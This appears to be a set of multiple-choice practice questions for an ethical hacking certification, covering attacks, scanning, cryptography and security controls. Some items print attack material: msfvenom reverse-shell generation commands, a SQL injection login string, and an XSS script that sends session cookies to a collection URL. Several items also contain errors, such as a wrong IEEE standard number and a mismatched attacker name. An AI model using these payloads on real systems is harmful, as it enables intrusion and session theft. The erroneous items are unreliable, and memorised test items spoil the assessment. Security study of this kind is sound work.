1. Ricardo has discovered the username for an application in his target's environment. Ashe has a limited amount of time, he decides to attempt to use a list of commonpasswords he found on the Internet. He compiles them into a list and then feeds thatlist as an argument into his password-cracking application.What type of attack is Ricardo performing?

Known plaintext

Password spraying

Dictionary

Brute force

5. Andrew is an Ethical Hacker who was assigned the task of discovering all the activedevices hidden by a restrictive firewall in the IPv4 range in a given target network.Which of the following host discovery techniques must he use to perform the giventask?

ARP ping scan

UDP scan

ACK flag probe scan

TCP Maimon scan

7. Mr. Omkar performed tool-based vulnerability assessment and found twovulnerabilities. During further analysis, he found that those issues are not truevulnerabilities.What will you call these issues?

True positives

False positives

False negatives

True negatives

10. Kevin, a professional hacker, wants to penetrate CyberTech Inc.’s network. Heemployed a technique, using which he encoded packets with Unicode characters. Thecompany’s IDS cannot recognize the packets, but the target web server can decodethem.What is the technique used by Kevin to evade the IDS system?

Urgency flag

Obfuscating

Desynchronization

Session splicing

12. A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTPrequests are sent to the web infrastructure or applications. Upon receiving a partialrequest, the target servers opens multiple connections and keeps waiting for therequests to complete.Which attack is being described here?

Phlashing

Slowloris attack

Desynchronization

Session splicing

13. To create a botnet, the attacker can use several techniques to scan vulnerablemachines. The attacker first collects information about a large number of vulnerablemachines to create a list. Subsequently, they infect the machines. The list is divided byassigning half of the list to the newly compromised machines. The scanning processruns simultaneously. This technique ensures the spreading and installation ofmalicious code in little time.Which technique is discussed here?

Topological scanning technique

Hit-list scanning technique

Permutation scanning technique

Subnet scanning technique

16. Don, a student, came across a gaming app in a third-party app store and installed it.Subsequently, all the legitimate apps in his smartphone were replaced by deceptiveapplications that appeared legitimate. He also received many advertisements on hissmartphone after installing the app.What is the attack performed on Don in the above scenario?

Agent Smith attack

Clickjacking

SIM card attack

SMS phishing attack

29. You are a penetration tester working to test the user awareness of the employees ofthe client XYZ. You harvested two employees' emails from some public sources and arecreating a client-side backdoor to send it to the employees via email.Which stage of the cyber kill chain are you at?

Reconnaissance

Exploitation

Weaponization

Command and control

33. Bella, a security professional working at an IT firm, finds that a security breach hasoccurred while transferring important files. Sensitive data, employee usernames, andpasswords are shared in plaintext, paving the way for hackers to perform successfulsession hijacking. To address this situation, Bella implemented a protocol that sendsdata using encryption and digital certificates.Which of the following protocols is used by Bella?

HTTPS

FTP

IP

FTPS

39. Attacker Rony installed a rogue access point within an organization’s perimeter andattempted to intrude into its internal network. Johnson, a security auditor, identifiedsome unusual traffic in the internal network that is aimed at cracking theauthentication mechanism. He immediately turned off the targeted network andtested for any weak and outdated security mechanisms that are open to attack.What is the type of vulnerability assessment performed by Johnson in the abovescenario?

Host-based assessment

Distributed assessment

Wireless network assessment

Application assessment

40. Joe works as an IT administrator in an organization and has recently set up a cloudcomputing service for the organization. To implement this service, he reached out to atelecom company for providing Internet connectivity and transport services betweenthe organization and the cloud service provider.In the NIST cloud deployment reference architecture, under which category does thetelecom company fall in the above scenario?

Cloud auditor

Cloud consumer

Cloud carrier

Cloud broker

41. What is the port to block first in case you are suspicious that an IoT device has beencompromised?

22

48101

80

443

43. Clark is a professional hacker. He created and configured multiple domains pointing tothe same host to switch quickly between the domains and avoid detection.Identify the behavior of the adversary in the above scenario.

Use of command-line interface

Use of DNS tunneling

Unspecified proxy activities

Data staging

45. When analyzing the IDS logs, the system administrator noticed an alert was loggedwhen the external router was accessed from the administrator's Computer to updatethe router configuration.What type of an alert is this?

True positive

False positive

False negative

True negative

51. Louis, a professional hacker, had used specialized tools or search engines to encryptall his browsing activity and navigate anonymously to obtain sensitive/hiddeninformation about official government or federal databases. After gathering theinformation, he successfully performed an attack on the target governmentorganization without being traced.Which of the following techniques is described in the above scenario?

Dark web footprinting

VoIP footprinting

VPN footprinting

Website footprinting

57. What is the correct way of using MSFvenom to generate a reverse TCP shellcode forWindows?

msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444-f c

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

68. Which of the following Bluetooth hacking techniques refers to the theft of informationfrom a wireless device through Bluetooth?

Bluesmacking

Bluebugging

Bluejacking

Bluesnarfing

72. While browsing his Facebook feed, Matt sees a picture one of his friends posted withthe caption, “Learn more about your friends!”, as well as a number of personalquestions. Matt is suspicious and texts his friend, who confirms that he did indeed postit. With assurance that the post is legitimate, Matt responds to the questions on thepost. A few days later, Matt’s bank account has been accessed, and the password hasbeen changed.What most likely happened?

Matt inadvertently provided the answers to his security questions when responding to the
post

Matt’s computer was infected with a keylogger.

Matt’s bank-account login information was brute forced.

Matt inadvertently provided his password when responding to the post.

73. Suppose that you test an application for the SQL injection vulnerability. You know thatthe backend database is based on Microsoft SQL Server. In the login/password form,you enter the following credentials:Username: attack’ or 1=1 –Password: 123456Based on the above credentials, which of the following SQL commands are youexpecting to be executed by the server, if there is indeed an SQL injectionvulnerability?

select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'

select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

select * from Users where UserName = 'attack' ' or 1=1 -- and UserPassword = '123456'

select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'

74. Samuel a security administrator, is assessing the configuration of a web server. Henoticed that the server permits SSLv2 connections, and the same private keycertificate is used on a different server that allows SSLv2 connections. Thisvulnerability makes the web server vulnerable to attacks as the SSLv2 server can leakkey information.Which of the following attacks can be performed by exploiting the above vulnerability?

DROWN attack

DUHK attack

Side-channel attack

Padding oracle attack

75. An organization has automated the operation of critical infrastructure from a remotelocation. For this purpose, all the industrial control systems are connected to theInternet. To empower the manufacturing process, ensure the reliability of industrialnetworks, and reduce downtime and service disruption, the organization decided toinstall an OT security tool that further protects against security incidents such as cyberespionage, zero-day attacks, and malware.Which of the following tools must the organization employ to protect its criticalinfrastructure?

BalenaCloud

Robotium

Flowmon

IntentFuzzer

77. An organization is performing a vulnerability assessment for mitigating threats. James,a pen tester, scanned the organization by building an inventory of the protocols foundon the organization’s machines to detect which ports are attached to services such asan email server, a web server, or a database server. After identifying the services, heselected the vulnerabilities on each machine and started executing only the relevanttests.What is the type of vulnerability assessment solution that James employed in theabove scenario?

Service-based solutions

Inference-based assessment

Product-based solutions

Tree-based assessment

79. John, a professional hacker, targeted an organization that uses LDAP for accessingdistributed directory services. He used an automated tool to anonymously query theLDAP service for sensitive information such as usernames, addresses, departmentaldetails, and server names to launch further attacks on the target organization.What is the tool employed by John to gather information from the LDAP service?

Zabasearch

EarthExplorer

JXplorer

ike-scan

80. Alice needs to send a confidential document to her coworker, Bryan. Their companyhas public key infrastructure set up. Therefore, Alice both encrypts the message anddigitally signs it. Alice uses ___________ to encrypt the message, and Bryan uses________________ to confirm the digital signature.

Alice’s public key; Alice’s public key

Bryan’s public key; Alice’s public key

Bryan’s private key; Alice’s public key

Bryan’s public key; Bryan’s public key

81. Infecting a system with malware and using phishing to gain credentials to a system orweb application are examples of which phase of the ethical hacking methodology?

Reconnaissance

Scanning

Maintaining access

Gaining access

86. Which iOS jailbreaking technique patches the kernel during the device boot so that itbecomes jailbroken after each successive reboot?

Semi-tethered Jailbreaking

Untethered jailbreaking

Semi-untethered Jailbreaking

Tethered jailbreaking

93. Which type of virus can change its own code and then cipher itself multiple times as itreplicates?

Encryption virus

Cavity virus

Stealth virus

Tunneling virus

102. In this attack, an adversary tricks a victim into reinstalling an already-in-use key. Thisis achieved by manipulating and replaying cryptographic handshake messages. Whenthe victim reinstalls the key, associated parameters such as the incremental transmitpacket number and receive packet number are reset to their initial values. What is thisattack called?

Evil twin

Chop chop attack

Wardriving

KRACK

106. Consider the following Nmap output:Starting Nmap X.XX (http://nmap.org) at XXX-XX-XX XX:XX EDTNmap scan report for 192.168.1.42 Host is up (0.00023s latency).Not shown: 932 filtered ports, 56 closed portsPORT STATE SERVICE21/tcp open ftp22/tcp open ssh25/tcp open smtp53/tcp open domain80/tcp open http110/tcp open pop3143/tcp open imap443/tcp open https465/tcp open smtps587/tcp open submission993/tcp open imaps995/tcp open pop3sNmap done: 1 IP address (1 host up) scanned in 3.90 secondsWhat command-line parameter could you use to determine the type and versionnumber of the web server?

-sS

-V

-sV

-Pn

108. Steve, an attacker, created a fake profile on a social media website and sent a requestto Stella. Stella was enthralled by Steve's profile picture and the description given forhis profile, and she initiated a conversation with him soon after accepting the request.After a few days, Steve started asking about her company details and eventuallygathered all the essential information regarding her company.What is the social engineering technique Steve employed in the above scenario?

Piggybacking

Diversion theft

Honey trap

Baiting

109. The network users are complaining because their systems are slowing down. Further,every time they attempt to go to a website, they receive a series of pop-ups withadvertisements. What type of malware have the systems been infected with?

Trojan

Virus

Adware

Spyware

112. Larry, a security professional in an organization, has noticed some abnormalities in theuser accounts on a web server. To thwart evolving attacks, he decided to harden thesecurity of the web server by adopting a few countermeasures to secure the accountson the web server.Which of the following countermeasures must Larry implement to secure the useraccounts on the web server?

Retain all unused modules and application extensions

Enable all non-interactive accounts that should exist but do not require interactive login

Enable unused default user accounts created during the installation of an OS

Limit the administrator or root-level access to the minimum number of users

114. John wants to send Marie an email that includes sensitive information, and he doesnot trust the network that he is connected to. Marie gives him the idea of using PGP.What should John do to communicate correctly using this type of encryption?

Use Marie’s private key to encrypt the message.

Use his own public key to encrypt the message.

Use Marie’s public key to encrypt the message.

Use his own private key to encrypt the message.

2. Heather’s company has decided to use a new customer relationship management tool.After performing the appropriate research, they decided to purchase a subscription toa cloud-hosted solution. The only administrative task that Heather will need toperform is the management of user accounts. The provider will take care of thehardware, operating system, and software administration including patching andmonitoring. Which of the following is this type of solution?

SaaS

CaaS

PaaS

IaaS

3. Bob was recently hired by a medical company after it experienced a major cybersecurity breach. Many patients are complaining that their personal medical recordsare fully exposed on the Internet and someone can find them with a simple Googlesearch. Bob's boss is very worried because of regulations that protect those data.Which of the following regulations is mostly violated?

ISO 2002

PII

PCI DSS

HIPPA/PHI

4. Samuel, a professional hacker, monitored and intercepted already established trafficbetween Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sentspoofed packets with Bob's IP address to the host machine. The host machineresponded with a packet having an incremented ISN. Consequently, Bob's connectiongot hung, and Samuel was able to communicate with the host machine on behalf ofBob.What is the type of attack performed by Samuel in the above scenario?

UDP hijacking

Forbidden attack

Blind hijacking

TCP/IP hijacking

6. Abel, a security professional, conducts penetration testing in his client organization tocheck for any security loopholes. He launched an attack on the DHCP servers bybroadcasting forged DHCP requests and leased all the DHCP addresses available in theDHCP scope until the server could not issue any more IP addresses. This led to a DoSattack, and as a result, legitimate employees were unable to access the client'snetwork.Which of the following attacks did Abel perform in the above scenario?

STP attack

VLAN hopping

DHCP starvation

Rogue DHCP server attack

8. To invisibly maintain access to a machine, an attacker utilizes a rootkit that sitsundetected in the core components of the operating system. What is this type ofrootkit an example of?

Hardware rootkit

Firmware rootkit

Hypervisor rootkit

Kernel rootkit

9. Which file is a rich target to discover the structure of a website during web-serverfootprinting?

Robots.txt

domain.txt

Document root

index.html

11. Steven connected his iPhone to a public computer that had been infected by Clark, anattacker. After establishing the connection with the public computer, Steven enablediTunes Wi-Fi sync on the computer so that the device could continue communicationwith that computer even after being physically disconnected. Now, Clark gains accessto Steven’s iPhone through the infected computer and is able to monitor and read allof Steven’s activity on the iPhone, even after the device is out of the communicationzone.Which of the following attacks is performed by Clark in the above scenario?

Man-in-the-disk attack

Exploiting SS7 vulnerability

iOS jailbreaking

iOS trustjacking

14. What are common files on a web server that can be misconfigured and provide usefulinformation for a hacker such as verbose error messages?

php.ini

httpd.conf

administration.config

idq.dll

15. In an attempt to increase the security of your network, you implement a solution thatwill help keep your wireless network undiscoverable and accessible only to those thatknow it.How do you accomplish this?

Lock all users

Remove all passwords

Delete the wireless network

Disable SSID broadcasting

17. A newly joined employee, Janet, has been allocated an existing system used by aprevious employee. Before issuing the system to Janet, it was assessed by Martin, theadministrator. Martin found that there were possibilities of compromise through userdirectories, registries, and other system parameters. He also identified vulnerabilitiessuch as native configuration tables, incorrect registry or file permissions, and softwareconfiguration errors.What is the type of vulnerability assessment performed by Martin?

Distributed assessment

Host-based assessment

Database assessment

Credentialed assessment

18. Jane, an ethical hacker, is testing a target organization’s web server and website toidentify security loopholes. In this process, she copied the entire website and itscontent on a local drive to view the complete profile of the site’s directory structure,file structure, external links, images, web pages, and so on. This information helps Janemap the website’s directories and gain valuable information.What is the attack technique employed by Jane in the above scenario?

Website defacement

Session hijacking

Web cache poisoning

Website mirroring

19. What piece of hardware on a computer’s motherboard generates encryption keys andonly releases a part of the key so that decrypting a disk on a new piece of hardware isnot possible?

GPU

UEFI

TPM

CPU

20. George is a security professional working for iTech Solutions. He was tasked withsecurely transferring sensitive data of the organization between industrial systems. Inthis process, he used a short-range communication protocol based on the IEEE 203.15.4standard. This protocol is used in devices that transfer data infrequently at a low ratein a restricted area, within a range of 10–100 m.What is the short-range wireless communication technology George employed in theabove scenario?

NB-IoT

MQTT

LPWAN

Zigbee

21. If you send a TCP ACK segment to a known closed port on a firewall but it does notrespond with an RST, what do you know about the firewall you are scanning?

It is a non-stateful firewall.

It is a stateful firewall.

There is no firewall in place.

This event does not tell you anything about the firewall.

22. John is investigating web-application firewall logs and observers that someone isattempting to inject the following:char buff[10];buff[10] = 'a';What type of attack is this?

CSRF

XSS

SQL injection

Buffer overflow

23. Attacker Lauren has gained the credentials of an organization’s internal server system,and she was often logging in during irregular times to monitor the network activities.The organization was skeptical about the login times and appointed securityprofessional Robert to determine the issue. Robert analyzed the compromised deviceto find incident details such as the type of attack, its severity, target, impact, methodof propagation, and vulnerabilities exploited.What is the incident handling and response (IH&R) phase, in which Robert hasdetermined these issues?

Incident triage

Preparation

Eradication

Incident recording and assignment

24. Richard, an attacker, aimed to hack IoT devices connected to a target network. In thisprocess, Richard recorded the frequency required to share information betweenconnected devices. After obtaining the frequency, he captured the original data whencommands were initiated by the connected devices. Once the original data werecollected, he used free tools such as URH to segregate the command sequence.Subsequently, he started injecting the segregated command sequence on the samefrequency into the IoT network, which repeats the captured signals of the devices.What is the type of attack performed by Richard in the above scenario?

Cryptanalysis attack

Reconnaissance attack

Replay attack

Side-channel attack

25. Jason, an attacker, targeted an organization to perform an attack on its Internet-facingweb server with the intention of gaining access to backend servers, which areprotected by a firewall. In this process, he used a URLhttps://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed andaltered the URL input to the local host to view all the local resources on the targetserver.What is the type of attack Jason performed in the above scenario?

Web server misconfiguration

Website defacement

Server-side request forgery (SSRF) attack

Web cache poisoning attack

26. Robin, a professional hacker, targeted an organization’s network to sniff all the traffic.During this process, Robin plugged in a rogue switch to an unused port in the LAN witha priority lower than any other switch in the network so that he could make it a rootbridge that will later allow him to sniff all the traffic in the network.What is the attack performed by Robin in the above scenario?

STP attack

VLAN hopping attack

DNS poisoning attack

ARP spoofing attack

27. Ethical hacker Jane Doe is attempting to crack the password of the head of the ITdepartment of ABC company. She is utilizing a rainbow table and notices upon enteringa password that extra characters are added to the password after submitting.What countermeasure is the company using to protect against rainbow tables?

Password hashing

Password salting

Account lockout

Password key hashing

28. Morris, a professional hacker, performed a vulnerability scan on a target organizationby sniffing the traffic on the network to identify the active systems, network services,applications, and vulnerabilities. He also obtained the list of the users who arecurrently accessing the network.What is the type of vulnerability assessment that Morris performed on the targetorganization?

Passive assessment

External assessment

Credentialed assessment

Internal assessment

30. Nicolas just found a vulnerability on a public-facing system that is considered a zerodayvulnerability. He sent an email to the owner of the public system describing theproblem and how the owner can protect themselves from that vulnerability. He alsosent an email to Microsoft informing them of the problem that their systems areexposed to.What type of hacker is Nicolas?

Black hat

Red hat

Gray hat

White hat

31. which of he following command check for validity users on the SMTP server ?

EXPN

RCPT

`VRFY

CHK

32. Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane’swireless network without a password. However, Jane has a long, complex password onher router. What attack has likely occurred?

Piggybacking

Wardriving

Evil twin

Wireless sniffing

34. A penetration tester is performing the footprinting process and is reviewing publiclyavailable information about an organization by using the Google search engine.Which of the following advanced operators would allow the pen tester to restrict thesearch to the organization’s web domain?

[site:]

[allinurl:]

[link:]

[location:]

35. Taylor, a security professional, uses a tool to monitor her company’s website, analyzethe website’s traffic, and track the geographical location of the users visiting thecompany’s website.Which of the following tools did Taylor employ in the above scenario?

WAFW00F

Webroot

Web-Stat

WebSite-Watcher

36. Attacker Steve targeted an organization’s network with the aim of redirecting thecompany’s web traffic to another malicious website. To achieve this goal, Steveperformed DNS cache poisoning by exploiting the vulnerabilities in the DNS serversoftware and modified the original IP address of the target website to that of a fakewebsite.What is the technique employed by Steve to gather information for identity theft?

Pharming

Skimming

Wardriving

Pretexting

37. What would be the fastest way to perform content enumeration on a given web serverby using the Gobuster tool?

Performing content enumeration using the bruteforce mode and random file extensions

Skipping SSL certificate verification

Performing content enumeration using a wordlist

Performing content enumeration using the bruteforce mode and 10 threads

38. Alice, a professional hacker, targeted an organization’s cloud services. She infiltratedthe target’s MSP provider by sending spear-phishing emails and distributed custommademalware to compromise user accounts and gain remote access to the cloudservice. Further, she accessed the target customer profiles with her MSP account,compressed the customer data, and stored them in the MSP. Then, she used thisinformation to launch further attacks on the target organization.Which of the following cloud attacks did Alice perform in the above scenario?

Cloud hopper attack

Man-in-the-cloud (MITC) attack

Cloudborne attack

Cloud cryptojacking

42. Sam, a professional hacker, targeted an organization with intention of compromisingAWS IAM credentials. He attempted to lure one of the employees of the organizationby initiating fake calls while posing as a legitimate employee. Moreover, he sentphishing emails to steal the AWS IAM credentials and further compromise theemployee’s account.What is the technique used by Sam to compromise the AWS IAM credentials?

Insider threat

Password reuse

Reverse engineering

Social engineering

44. Scenario: Joe turns on his home computer to access personal online banking. When heenters the URL www.bank.com, the website is displayed, but it prompts him to re-enterhis credentials as if he has never visited the site before. When he examines the websiteURL closer, he finds that the site is not secure and the web address appears different.What type of attack he is experiencing?

DoS attack

DNS hijacking

ARP cache poisoning

DHCP spoofing

46. You have been authorized to perform a penetration test against a website. You wantto use Google dorks to footprint the site but only want results that show fileextensions.What Google dork operator would you use?

site

ext

inurl

filetype

47. While testing a web application in development, you notice that the web server doesnot properly ignore the “dot dot slash” (../) character string and instead returns the filelisting of a folder higher up in the folder structure of the server.What kind of attack is possible in this scenario?

Cross-site scripting

Denial of service

Directory traversal

SQL injection

48. Jim, a professional hacker, targeted an organization that is operating critical industrialinfrastructure. Jim used Nmap to scan open ports and running services on systemsconnected to the organization’s OT network. He used an Nmap command to identifyEthernet/IP devices connected to the Internet and further gathered information suchas the vendor name, product code and name, device name, and IP address.Which of the following Nmap commands helped Jim retrieve the required information?

nmap -Pn -sT -p 46824 < Target IP >

nmap -Pn -sT -p 102 --script s7-info < Target IP >

nmap -Pn -sU -p 44818 --script enip-info < Target IP >

nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >

49. You start performing a penetration test against a specific website and have decided tostart from grabbing all the links from the main page.What is the best Linux pipe to achieve your milestone?

curl -s https://site.com | grep "< a href=\"http" | grep "site.com" | cut -d "\"" -f 2

dirb https://site.com | grep “site”

wget https://site.com | grep "< a href=\"http" | grep "site.com"

wget https://site.com | cut –d “http”

50. There have been concerns in your network that the wireless network component is notsufficiently secure. You perform a vulnerability scan of the wireless network and findthat it is using an old encryption protocol that was designed to mimic wired encryption.What encryption protocol is being used?

RADIUS

WPA

WPA3

WEP

52. Techno Security Inc. recently hired John as a penetration tester. He was tasked withidentifying open ports in the target network and determining whether the ports areonline and any firewall rule sets are encountered. John decided to perform a TCP SYNping scan on the target network.Which of the following Nmap commands must John use to perform the TCP SYN pingscan?

nmap –sn –PP < target IP address >

nmap –sn –PA < target IP address >

nmap –sn –PS < target IP address >

nmap –sn –PO < target IP address >

53. Scenario:1. Victim opens the attacker's web site.2. Attacker sets up a web site which contains interesting and attractive content like'Do you want to make $1000 in a day?'.3. Victim clicks to the interesting and attractive content URL.4. Attacker creates a transparent 'iframe' in front of the URL which the victim attemptsto click, so the victim thinks that he/she clicks on the 'Do you want to make $1000 in aday?' URL but actually he/she clicks on the content or URL that exists in thetransparent 'iframe' which is setup by the attacker.What is the name of the attack which is mentioned in the scenario?

Session Fixation

HTML Injection

ClickJacking Attack

HTTP Parameter Pollution

54. By performing a penetration test, you gained access under a user account. During thetest, you established a connection with your own machine via the SMB service andoccasionally entered your login and password in plaintext.Which file do you have to clean to clear the password?

.profile

.bash_history

.bashrc

.xsession-log

55. After an audit, the auditors inform you that there is a critical finding that you musttackle immediately. You read the audit report, and the problem is the service runningon port 389.Which service is this and how can you tackle the problem?

The service is NTP, and you have to change it from UDP to TCP in order to encrypt it.

The service is SMTP, and you must change it to SMIME, which is an encrypted way to send
emails.

The service is LDAP, and you must change it to 636, which is LDAPS.

The findings do not require immediate actions and are only suggestions.

56. In this form of encryption algorithm, every individual block contains 64-bit data, andthree keys are used, where each key consists of 56 bits. Which is this encryptionalgorithm?

MD5 encryption algorithm

AES

Triple Data Encryption Standard

IDEA

58. Dorian is sending a digitally signed email to Polly. With which key is Dorian signing thismessage and how is Poly validating it?

Dorian is signing the message with Poly's public key, and Poly will verify that the message
came from Dorian by using Dorian's public key.

Dorian is signing the message with Poly's private key, and Poly will verify that the message
came from Dorian by using Dorian's public key.

Dorian is signing the message with his private key, and Poly will verify that the message
came from Dorian by using Dorian's public key.

Dorian is signing the message with his public key, and Poly will verify that the message
came from Dorian by using Dorian's private key.

59. John, a professional hacker, decided to use DNS to perform data exfiltration on a targetnetwork. In this process, he embedded malicious data into the DNS protocol packetsthat even DNSSEC cannot detect. Using this technique, John successfully injectedmalware to bypass a firewall and maintained communication with the victim machineand C&C server.What is the technique employed by John to bypass the firewall?

DNS enumeration

DNS tunneling method

DNS cache snooping

DNSSEC zone walking

60. What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing)attack against an organization?

The attacker makes a request to the DNS resolver.

The attacker queries a nameserver using the DNS resolver.

The attacker forges a reply from the DNS resolver.

The attacker uses TCP to poison the DNS resolver.

61. You are a penetration tester tasked with testing the wireless network of your clientBrakeme SA. You are attempting to break into the wireless network with the SSID“Brakeme-Internal.” You realize that this network uses WPA3 encryption.Which of the following vulnerabilities is the promising to exploit?

Dragonblood

Key reinstallation attack

Cross-site request forgery

AP misconfiguration

62. What is the common name for a vulnerability disclosure program opened bycompanies in platforms such as HackerOne?

Bug bounty program

Ethical hacking program

White-hat hacking program

Vulnerability hunting program

63. A post-breach forensic investigation revealed that a known vulnerability in ApacheStruts was to blame for the Equifax data breach that affected 143 million customers. Afix was available from the software vendor for several months prior to the intrusion.This is likely a failure in which of the following security processes?

Secure development lifecycle

Security awareness training

Vendor risk management

Patch management

64. Richard, an attacker, targets an MNC. In this process, he uses a footprinting techniqueto gather as much information as possible. Using this technique, he gathers domaininformation such as the target domain name, contact details of its owner, expiry date,and creation date. With this information, he creates a map of the organization'snetwork and misleads domain owners with social engineering to obtain internaldetails of its network.What type of footprinting technique is employed by Richard?

VoIP footprinting

Whois footprinting

Email footprinting

VPN footprinting

65. Sam is a penetration tester hired by Inception Tech, a security organization. He wasasked to perform port scanning on a target host in the network. While performing thegiven task, Sam sends FIN/ACK probes and determines that an RST packet is sent inresponse by the target host, indicating that the port is closed.What is the port scanning technique used by Sam to discover open ports?

Xmas scan

TCP Maimon scan

ACK flag probe scan

IDLE/IPID header scan

66. Boney, a professional hacker, targets an organization for financial benefits. Heperforms an attack by sending his session ID using an MITM attack technique. Boneyfirst obtains a valid session ID by logging into a service and later feeds the same sessionID to the target employee. The session ID links the target employee to Boney’s accountpage without disclosing any information to the victim. When the target employeeclicks on the link, all the sensitive payment details entered in a form are linked toBoney’s account.What is the attack performed by Boney in the above scenario?

Session donation attack

CRIME attack

Forbidden attack

Session fixation attack

67. Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organizationto perform sophisticated attacks and bring down its reputation in the market. Tolaunch the attacks process, he performed DNS footprinting to gather informationabout DNS servers and to identify the hosts connected in the target network. He usedan automated tool that can retrieve information about DNS zone data including DNSdomain names, computer names, IP addresses, DNS records, and network Whoisrecords. He further exploited this information to launch other sophisticated attacks.What is the tool employed by Gerard in the above scenario?

zANTI

Bluto

Towelroot

Knative

69. What firewall evasion scanning technique make use of a zombie system that has lownetwork activity as well as its fragment identification numbers?

Idle scanning

Packet fragmentation scanning

Decoy scanning

Spoof source address scanning

70. In order to tailor your tests during a web-application scan, you decide to determinewhich web-server version is hosting the application. On using the sV flag with Nmap,you obtain the following response:80/tcp open http-proxy Apache Server 7.1.6What information-gathering technique does this best describe?

Banner grabbing

WHOIS lookup

Dictionary attack

Brute forcing

71. Which of the following information security controls creates an appealing isolatedenvironment for hackers to prevent them from compromising critical targets whilesimultaneously gathering information about the hacker?

Firewall

Honeypot

Botnet

Intrusion detection system

76. An attacker redirects the victim to malicious websites by sending them a malicious linkby email. The link appears authentic but redirects the victim to a malicious web page,which allows the attacker to steal the victim’s data. What type of attack is this?

DDoS

Phishing

Vishing

Spoofing

78. Allen, a professional pen tester, was hired by XpertTech Solutions to perform an attacksimulation on the organization’s network resources. To perform the attack, he tookadvantage of the NetBIOS API and targeted the NetBIOS service. By enumeratingNetBIOS, he found that port 139 was open and could see the resources that could beaccessed or viewed on a remote system. He came across many NetBIOS codes duringenumeration.Identify the NetBIOS code used for obtaining the messenger service running for thelogged-in user?

< 20 >

< 00 >

< 03 >

< 1B >

82. Which of the following protocols can be used to secure an LDAP service againstanonymous queries?

SSO

NTLM

RADIUS

WPA

83. This form of encryption algorithm is a symmetric key block cipher that is characterizedby a 128-bit block size, and its key size can be up to 256 bits. Which among the followingis this encryption algorithm?

IDEA

HMAC encryption algorithm

Blowfish encryption algorithm

Twofish encryption algorithm

84. Garry is a network administrator in an organization. He uses SNMP to managenetworked devices from a remote location. To manage nodes in the network, he usesMIB, which contains formal descriptions of all network objects managed by SNMP. Heaccesses the contents of MIB by using a web browser either by entering the IP addressand Lseries.mib or by entering the DNS library name and Lseries.mib. He is currentlyretrieving information from an MIB that contains object types for workstations andserver services.Which of the following types of MIB is accessed by Garry in the above scenario?

DHCP.MIB

WINS.MIB

LNMIB2.MIB

MIB_II.MIB

85. Daniel is a professional hacker who is attempting to perform an SQL injection attackon a target website, www.moviescope.com. During this process, he encountered an IDSthat detects SQL injection attempts based on predefined signatures. To evade anycomparison statement, he attempted placing characters such as “' or '1'='1'” in anybasic injection statement such as "or 1=1."Identify the evasion technique used by Daniel in the above scenario.

IP fragmentation

Null byte

Variation

Char encoding

87. Wilson, a professional hacker, targets an organization for financial benefit and plansto compromise its systems by sending malicious emails. For this purpose, he uses a toolto track the emails of the target and extracts information such as sender identities,mail servers, sender IP addresses, and sender locations from different public sources.He also checks if an email address was leaked using the haveibeenpwned.com API.Which of the following tools is used by Wilson in the above scenario?

Factiva

ZoomInfo

Infoga

Netcraft

88. John, a disgruntled ex-employee of an organization, contacted a professional hacker toexploit the organization. In the attack process, the professional hacker installed ascanner on a machine belonging to one of the victims and scanned several machineson the same network to identify vulnerabilities to perform further exploitation.What is the type of vulnerability assessment tool employed by John in the abovescenario?

Network-based scanner

Agent-based scanner

Proxy scanner

Cluster scanner

89. This wireless security protocol allows 192-bit minimum-strength security protocols andcryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, andECDSA using a 384-bit elliptic curve.Which is this wireless security protocol?

WPA2-Enterprise

WPA2-Personal

WPA3-Personal

WPA3-Enterprise

90. Bill is a network administrator. He wants to eliminate unencrypted traffic inside hiscompany’s network. He decides to setup a SPAN port and capture all traffic to thedatacenter. He immediately discovers unencrypted traffic in port UDP 161.What protocol is this port using and how can he secure that traffic?

SNMP and he should change it to SNMP V2, which is encrypted

SNMP and he should change it to SNMP V3

RPC and the best practice is to disable RPC completely

It is not necessary to perform any actions, as SNMP is not carrying important information.

91. Johnson, an attacker, performed online research for the contact details of reputedcybersecurity firms. He found the contact number of sibertech.org and dialed thenumber, claiming himself to represent a technical support team from a vendor. Hewarned that a specific server is about to be compromised and requested sibertech.orgto follow the provided instructions. Consequently, he prompted the victim to executeunusual commands and install malicious files, which were then used to collect andpass critical information to Johnson’s machine.What is the social engineering technique Steve employed in the above scenario?

Quid pro quo

Diversion theft

Phishing

Elicitation

92. Gilbert, a web developer, uses a centralized web API to reduce complexity and increasethe integrity of updating and changing data. For this purpose, he uses a web servicethat uses HTTP methods such as PUT, POST, GET, and DELETE and can improve theoverall performance, visibility, scalability, reliability, and portability of an application.What is the type of web-service API mentioned in the above scenario?

JSON-RPC

SOAP API

REST API

RESTful API

94. Clark, a professional hacker, was hired by an organization to gather sensitiveinformation about its competitors surreptitiously. Clark gathers the server IP addressof the target organization using Whois footprinting. Further, he entered the server IPaddress as an input to an online tool to retrieve information such as the network rangeof the target organization and to identify the network topology and operating systemused in the network.What is the online tool employed by Clark in the above scenario?

Baidu

ARIN

DuckDuckGo

AOL

95. Judy created a forum. One day, she discovers that a user is posting strange imageswithout writing comments. She immediately calls a security expert, who discovers thatthe following code is hidden behind those images:<script>document.write('<img src="https://localhost/submitcookie.php? cookie ='+escape(document.cookie) + '" />);</script>What issue occurred for the users who clicked on the image?

The code redirects the user to another site.

The code injects a new cookie to the browser.

This php file silently executes the code and grabs the user’s session cookie and session ID.

The code is a virus that is attempting to gather the user’s username and password.

